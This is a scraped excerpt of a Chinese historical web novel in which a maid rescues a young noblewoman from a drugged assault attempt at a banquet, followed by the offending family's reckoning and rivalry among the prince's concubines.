等惠姐儿走了,她才向雍王妃告罪,雍王妃摆摆手,“都是姊妹,合该这般亲热才好,冷冰冰的有什麽意思,婶婶莫紧张。” 竹清视线随着惠姐儿走,看着她与其他小娘子站在一起,舞姬们下去后,打冰球的小娘子们陆陆续续到冰面上站好,激昂向上的管弦声一起,两队拿着勾棍的小娘子们便去追逐冰球,谁先把冰球打进筐里,三局两胜,哪个队就赢了。 别看很轻易,竹筐有些小,要正正好打进去是很难的,何况还要避开其他人的抢夺。 下一批上场的公子哥儿们俱都站在一旁看,他们有些有心仪的小娘子,此刻暗暗替她加油打气,有些则是家中姊妹在场上,也少不得鼓励鼓励。 夏日打马球,冬日打冰球,若是不适合在室外的,就投壶打叶子戏,这上流贵族的生活,可不是一般的有滋有味儿。 竹清看着惠姐儿如同翻飞的雀儿,在人群中穿梭,她拿着勾棍,用力地打出一击,“嘭”的一声,正中竹筐! “好!”公子哥儿堆 里猛然爆发出喝彩声,紧接着便是热烈的鼓掌声,不少哥儿的眼睛都盯着惠姐儿,窈窕淑女君子好逑。 竹清却皱起眉来,惠姐儿过于兴奋了,随着出汗,她的脸色红通通的,不过不单是她,其他小娘子们也是红脸,只不过她的要格外明显一些。 第二场很快开始,雍王妃望着一马当先的妹妹,挑眉疑惑道:“几年不见,惠姐儿如此擅长于打冰球了吗?” 世家贵女从小练习滑冰、打冰球,雍王妃也会,只不过许久不滑了,她自然看得出惠姐儿很亢奋,一点儿也不像往常娴静安宁的模样。 她仿佛记得,从前与惠姐儿打冰球,她也不是这个模样的? 忽然,惠姐儿脚下一滑,在冰面上摔倒了,席上,不少娘子站起身,特别是惠姐儿的母亲,恨不得马上下去查看,过了一会儿,惠姐儿被搀扶着下了冰面,有小丫鬟前来禀报,“姜九娘子无事,只是衣摆湿了,需要更换。” 她们复又坐下,只是姜九姑娘的母亲心神不宁,吩咐了自个的丫鬟去瞧瞧是甚麽情况。 竹清见状,低头在雍王妃耳边说道:“王妃,不若奴婢也去瞧瞧九娘子,也好教您安心。” 她没有直接说惠姐儿情况不对,只是寻个由头去看看,若真的有问题,才来禀报。 “去罢,若有不对,悄悄来告知,切莫声张。”显然,雍王妃也察觉到了惠姐儿的怪异。 “是。”竹清应了,按照来时的路出了后花园,这里的小亭或坐或靠着各家稍体面的丫鬟婆子,雍王府跟来的丫鬟连忙上前,到竹清跟前问她,“竹清姐姐,可是王妃有甚麽吩咐?” “去叫上曾婆子,让她点五个婆子,并你们与我一起走。”竹清言简意赅,很快,她便领着八个人追上了姜二夫人的丫鬟,“我叫竹清,奉王妃的命令去看看九娘子。” “竹清姐姐好,我叫蕊心,姐姐小心脚下,我给姐姐带路,小娘子们更换衣裙都是有专门的院子的。”蕊心很是谦卑,落后一个竹清身位。两人不敢耽搁,忙疾步到了院子。 只是里面没有什麽人,竹清脸色不好,问候着的小丫头,“可曾看见姜九娘子回来?” 小丫头早上便在此处侍候,认得姜九娘子,闻言摇摇头,回话,“回姐姐的话,没有,我一直在这里 ,没有人回来呢。” 这下别说竹清,连蕊心也变了脸色。姐儿去向不明,加上今日公子哥儿们多,有些不上场打冰球的,他们会饮酒,冲撞了就不好了。 竹清立刻吩咐蕊心,“你回去告诉你的主子,顺带告知王妃,记着低调点。” “是。”蕊心匆匆忙忙地去了,她还懊恼为了低调而没有叫几个人跟着,这会儿便只能干着急了。 竹清又看向这个小丫头,问她,“我要寻人,那段路是谁负责,找哪个丫鬟婆子?” 小丫头明白事情不小,虽不清楚具体,但也不敢瞒着,清楚地说了,竹清便说,“你去找她们来,我替你在这里守着,快去。” 等两个婆子来了,打头的便说道:“回姑娘的话,方才我看见一个衣摆湿了的小娘子被搀着带去了后方竹林,那里有一个不用的小院子。” 竹清使了她们银子,教她们心甘情愿地带路,一路上,她都在想,或许惠姐儿要不好了。 到了那竹林院子,有两个人守着,一个小丫头与他们聊了两句便进去了。一个婆子摸着手里的银子,竹筒倒豆子般对竹清说道:“姑娘,那丫头便是带着小娘子走的人。三个人我认得,俱都是府上五哥儿的贴身人。这院子小,没有开角门,您若要不惊动他们进去,只怕是不能的。” 竹清暗道不好,对她们说,“你们在此处守着,剩下的随我进去。”她使了一个带来的丫鬟看着这两个婆子,领着其余人气势汹汹地前往正门。 那两个小厮正闲聊呢,忽的就看见一个年青的小娘子颇具气势地走来,他们本就有些不安,见此,出声喝道:“做甚麽的?” 竹清听出来了他们的心虚,她看了曾婆子一眼,命令道:“给我绑了他们。” 除了曾婆子,其他的婆子皆犹豫不决,这可是在别人家,如此,真的好麽? “出了事我担着。” “竹清姑娘的话,断然是不错的。” 竹清与曾婆子的声音前后响起,曾婆子说完,率先上前两脚,把两个娇娇弱弱的小厮踹倒在地,再就近抽出他们的腰带,捆猪儿似的,将他们五花大绑。 “呸,婆子我一只手就将你们解决了。”曾婆子只觉得他们弱的过分,燕国公府的小厮怎的比她们王府的孱弱? 她没有细想,因为其他的婆子们也反应过来,急于表现,一窝蜂上前,堵上了这两个小厮的嘴。 竹清进了院子,轻盈如风。很快,她寻到了地方,在门口,一个小丫鬟守着,瞧着也不知在不忿甚麽。 “你是……”她话还没有说罢,竹清像风似的疾步,随后抬手给了她一巴掌。 “啪”的一声,教这个丫鬟摔倒在地。 屋内隐隐约约传出用具摔裂的清脆声,竹清推了推门,门从里面锁了,不是大锁。她让开身子,命令道:“给我踹开。” 她为甚麽叫婆子跟着?为的就是她们膀大腰圆,力气大,几个人合力硬踹,几下就将本就掩得不算紧实的门踢开了。 门一开,浓郁的熏香扑鼻,教她神色一变,她想起来了,这种香一般情况下没什么,但是与惠姐儿身上的香味融合,就会催化,变成一味催情香。 “该死的贱人,胆敢不从?”五公子被扇了一巴掌,怒火中烧,他是燕国公府的公子哥,向来是无往不利的,眼前这人是他挑中的妻子,虽然她占嫡,他是庶。但是他可是乡试的亚元,前城一片坦荡,他难不成高攀不起?成了事,姜家不应也得应。 “本公子可是亚元,举子啊,已经能做官了的,你可别不识抬举。”燕国公府里,属他科考最厉害。 而且,他的小娘说的不错,哪怕这事被知道了,为着保全姜家名声,姜二夫人说不得还得帮他遮掩呢。 如若此事被传出去,他只会被人说一句“风流才子”,而这小娘子,可是要被说“浪荡”的! 姜九娘子握着一块瓷片,满脸通红,摇摇欲坠地撑着桌面儿,说道:“滚!”她满心绝望,瓷片凑近白皙的脖颈,心里做好了保全名声的准备。 “等会儿就让你爽。”那五公子一副纯良的模样,内里却肮脏不堪,正准备夺过九娘子手里的东西,好好教训她,却被一阵劲风一脚踹到地面上,啪的一声,头撞到地面上晕了。 姜九娘子呆呆地看着方才还在堂姐身边的丫鬟又踹了几脚那浪子,“你,怎麽在这儿?”她撑不住了,歪歪软软地靠着竹清。 竹清赶忙扶起她,好在这几个月养了一些力气出来,她用帕子挡住了九娘子的脸,扶着她,又命令曾婆子,“把他也绑起来, 外头三个人,俱都丢进这里,别冲撞了来来往往的夫人。” 不然难免影响到惠姐儿的名声。 那两个婆子还在,只不过竹清提前让人把她们带走了。如此到了僻静的竹林里,竹清在两个荷包里翻找,找出了能压制香薰的药,直接用手指碾碎,喂给了惠姐儿。 又佐以银针,极快地压制了那股霸道的药性。 过了一会儿,惠姐儿好些了,脸上红色逐渐褪去,看着竹清说道:“多谢你,要不是有你……”她真的会下地狱的,一旦被那狂徒玷污,要麽死,要麽,嫁给他,可是能做出此等下三滥事情的人,怎麽嫁的过? “九娘子不必言谢,您还能站起来吗?等下有人来寻,您得立起来,才教人看不出不对劲的事。” 她们缓了好一会儿,竹清扶着惠姐儿离开了,有几个婆子先去探路,她们遇见人就避开。如此,穿过连廊,她们一行人风平浪静地回到了更换衣裙的院子,竹清神色平静,说道:“刚刚姐儿去了吹风散心,一时忘了时候,可有人来寻?” 小丫头回答道:“是有,方才好多姐姐奉命来找。” 竹清让曾婆子随她去报信,自个则是伺候惠姐儿换衣裳,眼下没有人,惠姐儿一把抓住竹清的手,问她,“我,我,她们会不会看出来,会不会说闲话?”她话里有些哽咽,若果真这般,她最可能被送去寺庙,常伴青灯古佛,她不愿! “姐儿莫怕,您只需要按照咱们方才说好的,就不会出错的,您只是因着打冰球摔倒觉得没有面子,于是半路去吹风,伺候你的小丫头不愿意走那么远,撇下了你,你兜兜转转迷失了,直到奴婢去寻你。”竹清说,至于那个小丫头说的话,没有人会在意,做出这种事,燕国公府为了给一个交代,肯定会弄死她。 “好。”姜九娘子吸气呼气,手还是微微颤抖,直到听见她娘亲的声音,一下子就带着哭腔说道:“娘亲,我在这里。” 院子里站了吵吵嚷嚷的一群人,基本上都是燕国公府与姜家的人,甚麽大娘子主母,丫鬟婆子,一溜烟涌进来。 竹清替她打掩护,“瞧九娘子,面皮薄,觉着方才丢脸呢!” 顾氏感激地看了竹清一眼,她已经听来寻她的婆子说了前因后果。从后花园过来,一颗星不免七上八下的,看 第 36 章 繁秋的变化 《古代丫鬟升职记》全本免费阅读 燕国公府,府中灯火通明。 燕国公今日溜冰宴不在,等回来时乍然听见这种事,第一个反应是,“这如何是真的?榷哥儿如此乖巧,定不是真的。” “不是真的?怎么,难不成我会用这种事来诓骗你?我图什么?我告诉你,这事处理不妥当,你就等着雍王妃与姜家来寻仇吧!”燕国公夫人冷笑连连,“我不用上朝,你可得小心点,姜家几个郎君可都有些位置。你一个空架子,如何能与他们家抗衡?” “虽说姜大郎君外放了,人家还有雍王这个女婿呢,随便参你一本都够你喝一壶了。” 虽说圣上对于雍王没有甚麽特别的对待,可终究是亲儿子,孰轻孰重? 这般说罢,那燕国公已然额头渗出汗水,显然,他也晓得非常棘手,不禁问道:“这事不是没成吗?那惠姐儿安安稳稳地家去了,这这这,没道理他们死咬着我们不放呀!” 燕国公夫人白眼都要翻到天上去了,暗道自个怎么就嫁了个那么蠢的男人,蠢出天了!怪不得燕国公府一代不如一代,就这蠢东西,能教出什么好的郎君来扶持家里? 她在外头伏低做小,生怕得罪了甚麽夫人,这个人倒好,半点脑子都不出,真是蠢出升天了! “你动一动你的脑子成不成?这事在于成没成吗,从你那个好儿子算计开始,就把人家得罪的死死的了,还想相安无事?你多大个脸呐?” 燕国公夫人一想到自家遭遇,就忍不住吩咐身边的人,“去,去外头给我狠狠地掌他的嘴,没有我的话不准停!”说着,她瞪向燕国公,让燕国公嘴里的话都咽回去了。 罢了罢了,那逆子做出此等事情,有个教训也是好的。 院子里啪啪啪啪的掌嘴声不绝于耳,燕国公夫人又怒气冲冲地说道:“你那个好儿子可是不满意我给他寻的未婚妻呢,一心想要攀高枝儿,也不看看他配不配!” 一个庶子,竟然也敢挑三拣四的,不过要说是谁纵容得他心野了,还不是燕国公! “够了,他也是你的儿子,有什么配不配的?”燕国公不满,在他看来,这事若成了,他们家就与雍王府、姜家有了联系,不定能带来什么好处呢。 “好好好。”燕国公夫人高声,“把那个孽障带进来。” 很快,榷哥儿就被押进来了,他的衣裳散乱,发冠也掉了,不知去了哪里,一张脸肿胀如猪头,甭说燕国公夫人,连燕国公都吓了一跳。 “我的儿。”燕国公有些心疼,这是他最爱的小娘给他生的儿子,有时连两个嫡子都不如他得宠。 “爹,爹。”榷哥儿抬起头,一双眼睛怨毒地看向燕国公夫人。 “爹,儿子已经知错了,爹就饶了我这一回罢,只这一回。”果然同小娘说的一样,燕国公夫人就不是个好的,给他定的亲那般普通,还不许他这样有前程的人为自个谋夺。 “你就说要怎么解决,每日不拿出一个章程来,你就等着赔上乔家所有哥儿娘子的前程吧。把他过继出去罢了,旁支不是有一家没有儿子吗?送出去罢。”燕国公夫人倒不是恐吓,这不是显然的事麽? 一个小娘生的孩子,也敢给她眼色瞧? “这……”燕国公犹犹豫豫,“可是榷哥儿已经是举子了,还是亚元,能重振乔家风光啊。”乔家已经是江河日下了,他的两个嫡子也不甚出色,甚至考个举人都费劲。唯独出了榷哥儿,族中资源也就向他倾斜。 一旁的榷哥儿忙不迭地诉苦,“爹,榷哥儿知道错了,您就原谅榷哥儿吧,往后榷哥儿一定听话,再不敢生事的。待日后做官,自然能让您得意!” 这要是被送走了,他就什么都没有了,燕国公府的富贵日子,他还没有过够呢。旁支都是没有用的废物,他才不要沾边。 “呵,留下他一个,祸害整个燕国公府,你自个想去吧,要是还想继续做你的风流燕国公,你就按我说的做。” 话音刚落,外头传来疾步的声儿,一个小厮连滚带爬地行礼,说道:“小的按照吩咐看着姜家,发现一辆马车去了雍王府,看不清是谁。” 燕国公夫人脸色黑沉,狠狠地剜了榷哥儿一眼,“你瞧瞧你瞧瞧,我说什么来着,你最好保证不是姜二郎君去寻雍王,不然你这个燕国公,做不做得成还不好说。” “国公爷可别觉着我的话重了,你能确认日后雍王没有甚麽大前程?那雍王妃会不会秋后算账?你愿意搭上燕国公府去赌这一回麽?” 她了解燕国公,这话定然直戳他的心。 此事还不到最坏的时候,幸好那个叫竹清的小丫 头机灵,救下了姜九娘子。 真真切切涉及到自个的地位与名头,燕国公终于晓得利害关系了,不再犹豫,说道:“那便按照夫人说的,把这个孽障过继出去,以后便不再是燕国公府的郎君了。” 他这个燕国公过了那么久的舒坦日子,总不能临到中年,丢脸了罢? 地上的榷哥儿猛地张大嘴巴,喃喃自语道:“爹你不能这样对我,我是你最喜爱的儿子啊,爹——”他惊叫出声,没想到往常他闯祸,经常给他善后的爹这次居然不管他了。 燕国公叹气,转过头去,“榷哥儿,你终究还没有出仕。”自然也就没有甚麽价值让人保。 亚元稀罕,却也不稀罕。 天下才子如过江之鲫,这个没了,还有下一个。 “往日的小祸我就给你解决了,这回是万万不可了,乔家经不住你这样折腾,乖些去罢,我给你准备些银钱,不至于难过。” 银钱?燕国公夫人适时出声,“不妥,我知道国公爷心疼他,可是你想想,这事让那两边盯着的,要是知晓了你的举动,说不定还怨我们做事拖拉,觉着你不服气。” 燕国公一想,有道理,遂问道:“那该如何?” “自然是越凄惨越好,你想一想,若是这孽障鼻青脸肿衣不蔽体地出府,让姜家的人知道了,不就知道咱们的态度了?对外就说这孽子出言不逊,所以才送走他。”燕国公夫人早就想出口恶气了,这小崽子仗着自个的小娘,平常惯是不把她放在眼里,呵,还想带着银钱走? 想都别想! “按你所言。”燕国公说。 榷哥儿当场绷不住了,大吼大叫道:“你个毒妇,我爹心疼我,你却还不让,我娘说得对,你就是想我们过得不好,才给我找一个破落户的女子,我……”后边的话他没有说完,就被人捂住嘴带走了。 燕国公夫人这是特意的,让他口出狂言,打消燕国公最后的那点怜惜。 “我作为嫡母,给他找的都是合乎身份的,他若是嫡子,我也就是做错了,可偏偏他不是。”燕国公夫人讽刺,这么多年的,那个小娘终于跌了一个大跟头,不枉费她这些年都纵容着他。 “辛苦你了。”燕国公拍了拍她的手,转而与她商讨起明天拿去姜家以及雍王府的赔礼。 燕国公夫人想了想,“旁的倒也罢了,只那个竹清,也要准备一份大礼给她才好。” “依你所言。” 待燕国公离去了,燕国公夫人这才又哭又笑,“快去打上一角酒来,且让我痛痛快快的醉上一回。” 嫁进来乔家恁多年了,她也被魏小娘压了恁多年,这回她们娘俩自寻死路,真真儿教她高兴。 “不枉费我费心筹谋。” …… 翌日,雍王府。 “……这前后的事情便是这样了,也是妾身看管不利,才让他钻了空子,委屈了王妃的妹妹,妾身在这里给您赔个不是。”说着,燕国公夫人起身到正中间,端端正正地跪下。 竹清搁后边听着,弄明白了原委,这个差点玷污了惠姐儿的哥儿叫榷哥儿,因着是燕国公最喜欢的小娘生的,所以自小就惯着,养到现在二十来岁了,已经及冠了,仍旧经常惹祸,这次是因为他不满燕国公夫人给他寻的未婚妻,觉着未来岳家没有能力,便听从了小娘的安排,选一个来赴宴的娘子,想着生米煮成熟饭。 如此,也教燕国公府与小娘子的家人捏着鼻子认了他,他呢,就得了一个有实力的岳家,稳稳地压他的两个嫡兄一头。 好在,到底没有成功。 雍王妃没有教燕国公夫人起身,而是端起茶盏,慢条斯理地轻啜了两口茶,又捏着帕子擦了擦嘴角,这才对着竹清说道:“瞧你,燕国公夫人还没起来,你也不提醒本王妃。” “快快请起。” 竹清赶忙上前扶起燕国公夫人,待她坐下了,又接过托盘上的茶盏,放到燕国公夫人手边,说道:“夫人喝茶。” 也是燕国公夫人认了错,茶水间的丫鬟才上茶的,方才,可是一口茶水都没有给燕国公夫人。 “妾身得王妃的原谅,那就是再好不过的事了,那个孽子已经让人送走了,过继出去。那个小娘也教人看管着,不许再生事的。”燕国公夫人其实心里还有些忐忑,她余光瞅着上头平静的雍王妃,揣摩不出她的想法,不免内心不安。 “这是国公与妾身一同安置的礼,一份给王妃,一份给竹清姑娘,也多谢竹清姑娘能干,不然妾身的心,恐怕一辈子都得不安了,惠姐儿这样的好孩子,须得正正经经地找个 好人家呢。”燕国公夫人放低姿态,她知道,就得这样才能让人泄气。 竹清没想到还有自个的礼,她看了看那些锦盒,感觉里边都是贵价的东西。 “夫人客气了。”雍王妃眼神毫无波澜,送东西就想让她不生气,哪那么容易? 燕国公夫人嘴巴里都是苦涩,她就知道今日不会那么容易善了,方才在姜家,她在花厅足足等了半个时辰才见到人,还教人为难了一通。 如此这般,过了两个时辰,雍王妃才终于对伏低做小的燕国公夫人松了口,“此事轻拿轻放,本王妃估摸着夫人的不易,就此作罢。时辰不早了,竹清,送客。” “是,夫人这边请。”竹清领着燕国公夫人出了府,到了雍王府偏门,燕国公夫人对贴身侍婢使了眼色,那侍婢从袖口掏出一个大荷包塞给竹清,低声说道:“请姐姐喝茶。” 竹清受了,又对已经坐上马车的燕国公夫人说道:“夫人慢走。” 她没有说旁的,因为她明白,雍王妃不会和燕国公夫人有往来了,本来就不熟,出了这样的事,更加不可能相互交往了。 回到正厅,雍王妃问她,“送出去了?可有给你荷包?” “已经送出去了,她给了一个不小的荷包。”竹清把那个荷包拿出来,就听见雍王妃说道:“可惜了,燕国公夫人是个好的,就是燕国公,啧啧啧。” 此事说来说去,都怪燕国公宠爱小娘,才让他们野了心,不过麽,也教雍王妃警醒,这即将入府的春莺还有侧妃侍妾什么的,她可都要注意着点,不然恐怕就会如同这个小娘一样,养大了某些人的心。 “这是你的礼,拿回厢房放着吧。” 竹清兴高采烈地捧着几个锦盒,正准备往厢房去呢,就听闻有人喊自个。 “竹清。” 她转身,发现是一脸愁容的繁秋。 “秋侍妾。”竹清规规矩矩地行了个半礼,繁秋拉着她的手,说道:“你我之间,何须客气。” 竹清只疏离客气地说道:“您是侍妾,奴婢断然不敢没有规矩,秋侍妾有什麽事?” 繁秋当侍妾之后,她们可是好长一段时间不曾私底下见过面了,有时她来请安,两人也就眼神扫一扫。 “都生分了。”繁秋低落过后, 见竹清不理她,欲言又止,又等着竹清开口问她,果然,竹清开口了,“秋侍妾若是没有别的事,奴婢就先回去了,还有差事要干呢。” 她与繁秋交情也就那样,繁秋麽,不值当她多花费心思与时间。 “别。”繁秋一把拽住她,打量着周围没有人,咬了咬唇瓣,随后问道:“那个春莺,是不是快要进府了?” 春莺这个人,她们在请安的时候就听雍王妃说过,原本就不满了,更何况她还有了身孕,孩子,是安身立命的本钱。 本来雍王来后院就不多,春莺有了身孕,能分走雍王多少宠爱?她想都不敢想的。 “是。”竹清点点头,这种事大家都知道,没必要瞒着,她看向繁秋,劝了一句,“哪怕她进府,也不过是个通房,你是侍妾,好好伺候王爷王妃就是了,断不要做些不入流的事,到时候不说你,便是王妃,也跟着丢脸。” 王妃丢脸了,她也跟着日子不好过。 若是繁秋有小困难,她看在从前的情分上,肯定是会搭一把手,可是如果是这种,那就别怪她冷漠了。 繁秋也晓得是这么一回事,只是她心里拐不过弯,依旧扯着竹清的袖子,问道:“竹清,你在正院,知不知道王爷何时会来正院?” 竹清吓了一跳,这是想要截胡? 她赶忙摇摇头,“这事我一个奴婢怎么知晓?时候不早了,我先走了。”她硬是抽回袖子,飞一般离开了。 繁秋这是怎的了?一副怨妇的模样,看的她鸡皮疙瘩都起来了。 “秋侍妾,咱们回吧。”伺候繁秋的丫鬟开口,她本就不赞同秋侍妾来找正院的丫鬟,秋侍妾看不清,她可看得清,从前秋侍妾与竹清一同当差,自然是有些情面。 可是你不能来找她问这种问题呀,谁会回答? 繁秋苦着脸,“你看她手上拿的东西,是不是王爷王妃新赏的?我当侍妾了,也没有这般的好东西……” “秋侍妾!”丫鬟脸色一变,赶忙拉着她离开了。 “你这是被狗撵了?”画屏看着急匆匆的竹清,笑着打趣道。 “没呢,想快点回来看看燕国公夫人送了什麽好东西。”竹清说,她打开几个锦盒,瞧见了一根人参。 “这是……至少一百多年了。” 第 37 章 拥有第一个小房子 《古代丫鬟升职记》全本免费阅读 “这头一回晨昏定省都能迟了的,妾身也是头一回见,可见,春莺姑娘的心思,似乎不在规矩上头。” “瞧春莺姑娘这装扮,可见是打扮比请安要更为重要了,妾身们都与王妃说上一会儿的话了,你这才来,不知道的,还以为是压轴出场呢。” 几个侍妾轮番开口讽刺,她们往日里惯常斗嘴,如今倒是统一战线,对准了新来的通房。 若只是普普通通的通房,她们不至于如此,可这个春莺并不是光明正大抬进来的,而是有了身孕,在外头养了一阵儿才进的后院,这可就戳了她们的心窝子。 满打满算,原本王府里有孕的就是王妃与侧妃,她们不敢与这两位争,突然来了一个身份地位不如她们的,就成了众矢之的。 雍王妃高坐在上,静静地看着这一切,忽的,有一个通房问了一句,“不知春莺姐姐可有姓氏?若往后诞下子嗣,咱们可就得叫一声侍妾了。” 看似正常的问题,却教几个侍妾更加不忿了,一个个尖锐地说道:“春莺姑娘从前是在那种地方伺候人的,恐怕连个姓都没有吧?总不能叫她春侍妾?听听,听听,这哪像个正经名字?” 这倒是误伤了繁秋与温冬,她们是有姓名的,不过想着与王妃亲厚些,故而没有用。 繁秋看不得她们这般,冷声说道:“依你所言,我也不是个正经人了?” 竹清候在一旁,愈发觉得繁秋脑子不好使了,这个时候你说话做甚麽? 把火引到自个身上? 果然,几个侍妾相互对视一眼,又不说话了,只不过脸色可不太好,繁秋也是当侍妾的,居然不与她们一道,难不成伺候过王妃,就清新脱俗了吗? 好似前几日怨天尤人,在屋里弹琴的盼着王爷来的不是她一样。 装什麽! 春莺还站在中央呢,捏着帕子扭扭捏捏地解释道:“启禀王妃,妾身这个名字,是王爷取的,王爷说妾身声音好听,故而叫了这个。姓氏叫文,各位姐姐也可以叫我文妹妹。” 几个侍妾顿时像吃了苍蝇一样,眉头紧紧地拧着,阴阳怪气地说道:“我家里只我一个,可没甚麽妹妹的。” 春莺红了眼眶,身子颤抖起来,她没有想到,自己都如此低声下气了,这些人还不肯饶了她 ,心头苦涩,她抬眼望向了雍王妃。 雍容华贵的王妃温和得如同一尊观音菩萨像,也是她认为的,雍王府里唯一一个对她好的人。 雍王妃暼了竹清一眼,竹清会意,到门口处朝排列好的小丫鬟们挥挥手,鱼贯而入的丫鬟们给侍妾通房们上茶。 上完茶后,雍王妃端起茶盏,说道:“好了好了,都是一家子姐妹,何必一见面就斗得厉害,没得失了体面。春莺,既然王爷看中你,你又有了身孕,可得仔细养着。伺候你的丫鬟呢?还不快点扶着她坐下。” 春莺的位置在最后,没有人与她好脸色。 “为着你的事,本王妃特意与王爷商量过,伺候你的人就按照侍妾的标准来,待你生下孩子,也就不会手忙脚乱了。”雍王妃看她起身,又说,“先别急着谢恩,还有你的饮食起居,皆比照侍妾的分例。若是平常受了委屈,也只管来找本王妃就是了,王爷忙碌,本王妃会为你做主的。” 春莺激动地攥紧帕子,她就知道王妃不会不管她的,让她进府、如今照顾她的,皆是王妃,往后,她定常来找王妃! “是,妾身,妾身多谢王妃。” “行了,该用膳了,你们都去罢,都记住了,不可争风吃醋生事,过两个月侧妃与侍妾就进府了,你们万万不可没个体统。”雍王妃敲打完,就让她们走了。 画屏正在指挥丫鬟们收走茶盏与点心碟子,笑着说道:“方才奴婢进来的时候,可是见着了好几个侍妾通房脸色阴沉沉,有的还在瞪春莺姑娘呢。” 雍王妃眯着眼睛,由着竹清给她揉太阳穴,她舒服地叹气,“女子多的地方,是非就多,且等着吧,有得闹。” “王妃,膳食已经领回来了,可要现在摆膳?” “嗯,竹清,你去看着,近日本王妃喜酸辣,那些酸辣的菜色摆到跟前。”雍王妃打了一个哈欠。 “是。”竹清出来,正巧与竹溪碰面,两个人交换了一个眼色,竹溪低声八卦道:“王妃对那个春莺那么好?我可是知道,有好些人看不惯她的。” 下人有下人的生活,伺候春莺的丫鬟婆子们瞧着地位比其他院的人高了,就惹了众怒了。尤其是与春莺住在同一个院子的两个通房,她们的丫鬟婆子可就十分厌恶春莺呢。 拿乔 ! 竹清摇摇头,示意竹溪不要多说,只等晚上,她们再一同聊天。 今儿是竹清守夜,竹溪特意与茶水房的一个小丫鬟换了值,如此,她们就能在一块了。 雍王妃有了身孕,睡得沉,竹清去了茶水房,正巧竹溪在小泥炉上烤栗子与花生,旁边还有牛乳茶。 “竹清,快来,这是小厨房送来的,香得紧。” 寒风呜呼呼地吹着,蜡烛燃到底下,有些暗了,竹清又换了两根蜡烛,这才坐下,很是畅快地喝了几口牛乳茶。 “这样的好东西,小厨房竟然还有剩?”竹清可是晓得,大冬天的,牛乳都成了金贵东西了。 大厨房都没有的。 “送东西来的烧火丫头说,其他姐姐觉着牛乳有股味道,不要,便宜咱们了。”竹溪说罢,又兴致勃勃地与竹清分享自个收到的消息,“我与你说,今儿在大厨房,可是有件大事。” “甚麽?”竹清问。 “尘心去领膳的时候,恰好看见春莺姑娘身边的人来领晚膳,结果呢,给她熬的人参汤被郑侍妾的丫鬟给提走了,后边找来理论,那郑侍妾只说不知道,还以为像往常那样,是大厨房给她熬的补身体的汤药。” “好一顿争执,春莺姑娘都气哭了,使了人打了一盆水擦脸呢。”竹溪说,“我总觉得,郑侍妾就是故意的,不过先头她得了几日的宠,就来为难春莺姑娘了。” “谁不是在为难她?”竹清说,“你今儿问我的问题,王妃对她如此好,也是想做给宫中的主子们看的,临近选秀,皇后娘娘与淑妃娘娘定会召王妃入宫询问事宜。春莺身份不高,可到底有孕,问到她时,也总要让主子们觉得,王妃对她很好,如此才全乎了脸面。” 对于这些上位者来说,有时候体面才是最重要的,若是对春莺不好,难免教人说嘴,所以雍王妃才那样做。 二则麽,在所有人都不喜她的情况下,王妃却对她很好,教她信任王妃,也就翻不出风浪了。 竹溪听完竹清分析的话,已然目瞪口呆,不由得握住了竹清的手臂,感叹道:“竹清,我娘亲常说让我多跟你学着点,如今我算是知道了,我与你,真的不同。你怎么能想到这些呢?” 就那么一件事,就能看出如此多的东西,难怪 能做成大丫鬟。 竹清笑了笑,“多看多学,任何事情都有两面性的麽,咱们不能只看见好的一面。”上辈子的职场生涯告诉她,表面上有什么不重要,背地里的含义才是最重要的。 “竹清,你觉着,这个春莺姑娘能平安生下孩子麽?”竹溪问罢,又更加压低声音说道:“其实在敏主子出生前,还有两个侍妾有孕的,只不过都因意外没有了。” 这事还是她娘亲告诉她的,意外?只是掩人口舌的说辞罢了,打那之后,后院里就少了一个侍妾与一个通房。 明眼人都知道是甚麽回事,所以她们现在私底下猜测,春莺姑娘这一胎,还真不好说。 竹清想,若是春莺抱紧王妃大腿,不作妖的话,还是很有希望诞下子嗣的。 雍王妃不说多喜欢她,但也不至于讨厌她,只不过,如今王妃也有了身孕,有些方面可能就照顾不到。 * 韶光院。 “她果真进府了?”方侧妃脸色有些暗沉,她坐在梳妆台前,双手捧着脸,仔细观察,忽的看见了眼角的一个斑点,惊怒之下,手臂一挥,把桌上所有的东西扫落在地。 “啊!”她的脸变得如此丑陋,加上今日她听见下人们说小话,新进府的通房如何如何貌美,如何得王爷的喜爱,可不就让她大发雷霆。 伺候的丫鬟见端来的安胎药被砸在地上,撇了撇嘴,暗道自个倒霉,不过也还是低头,恭敬地回答道:“是,春莺姑娘早上已经给王爷王妃敬过茶,下午晨昏定省也到了,她住进了修墨院正屋。” 方侧妃呆坐着,她许久不能出去了,又见不到雍王,此刻幻想着雍王与春莺嬉笑打闹的场面,眼泪簌簌地流下,她哀怨地喊道:“王爷。” 明明她已经想好要安分地生下孩子,可是一想到王爷去宠幸其他人,她就心如刀割。王妃便罢了,可是那些低贱的侍妾通房,如何敢与她争? 尤其是这个春莺,身份低微,在王府外就有了身孕,是不是王爷的还未可知,如今竟也能与她们称姐妹了。 丫鬟收拾好地上的碎片,又重新端来一碗安胎药,劝说道:“侧妃,喝了安胎药便歇息吧。您忘了府医说的,要好好安胎,切莫不可动气。” “不,不。”方侧妃失魂落魄,拍着桌面 ,“我要见王爷,我要见王爷——” 喊了几声,她又捂住了肚子,“我的肚子好疼,啊……” 守门的丫鬟惊慌失措地跑去喊府医,虽不喜欢方侧妃,但是她们也知道,方侧妃有甚麽事,首当其冲被问责的就是她们。 * 韶光院的事很快就传给了雍王妃听,因着今夜守夜的是竹清,所以也是她禀报给雍王妃听的。 “王妃可是要起身?” 雍王妃脸上出现一层愠怒,竹清心知她心情不好,动作轻柔地替她梳了一个简简单单的发髻,又伺候她换了衣裳,披上大氅,如此就出了门。 轿子里,雍王妃还在生气,“又是怎的了?”她都那样护着方侧妃了,要是她自个作死,也就不干她的事了。 韶光院来禀报的丫头被竹清一恐吓,什麽都说了,故而竹清是知情的,就与雍王妃说道:“方侧妃听说了春莺姑娘进府,动怒惊了胎气,府医赶过去了。听说方侧妃还让人去请王爷,见不到王爷就一直闹。” 今个雍王可是宿在了苏侍妾那里,苏侍妾是王府里的老人了,也得几分面儿,何况她还养着雍王唯一一个孩子。 这话教雍王妃十分生气,怎麽会有方侧妃这般蠢笨的人?分不清轻重,完全不拿自个当回事的? 你都有个孩子了,还嫉妒这个看不惯那个的,在闺中学的就是情情爱爱麽? 雍王妃喃喃自语,“就他,有甚麽好争的?”皮相尚可,脑子一点都没有。 “沉华院离韶光院近,想必王爷早就知道了。”雍王妃说,就是不知道雍王会不会过去。 到了地儿,雍王已经坐那喝茶了,苏侍妾正替他整理衣裳,见了雍王妃进来,又给她行礼。 